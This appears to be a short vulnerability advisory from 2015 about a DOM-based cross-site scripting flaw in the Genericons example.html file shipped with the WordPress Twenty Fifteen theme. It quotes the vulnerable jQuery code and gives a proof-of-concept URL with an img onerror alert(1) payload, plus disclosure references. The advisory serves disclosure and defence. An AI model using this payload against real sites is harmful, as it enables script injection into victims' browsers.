Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)

2015-05-0600:00:00

ethicalhack3r

202

Genericons <= 3.2 vulnerable to DOM XSS in the example.html file due to using outdated version of jQuery and vulnerable code. Vulnerable Code: permalink = “genericon-” + window.location.hash.split(‘#’)[1]; cssclass = jQuery( ‘.’ + permalink ).attr(‘class’);

http://www.example.com/wp-content/themes/twentyfifteen/genericons/example.html#1<img/ src=1 onerror= alert(1)>

References

blog.sucuri.net/2015/05/jetpack-and-twentyfifteen-vulnerable-to-dom-based-xss-millions-of-wordpress-websites-affected-millions-of-wordpress-websites-affected.html

packetstormsecurity.com/files/131802/

seclists.org/fulldisclosure/2015/May/41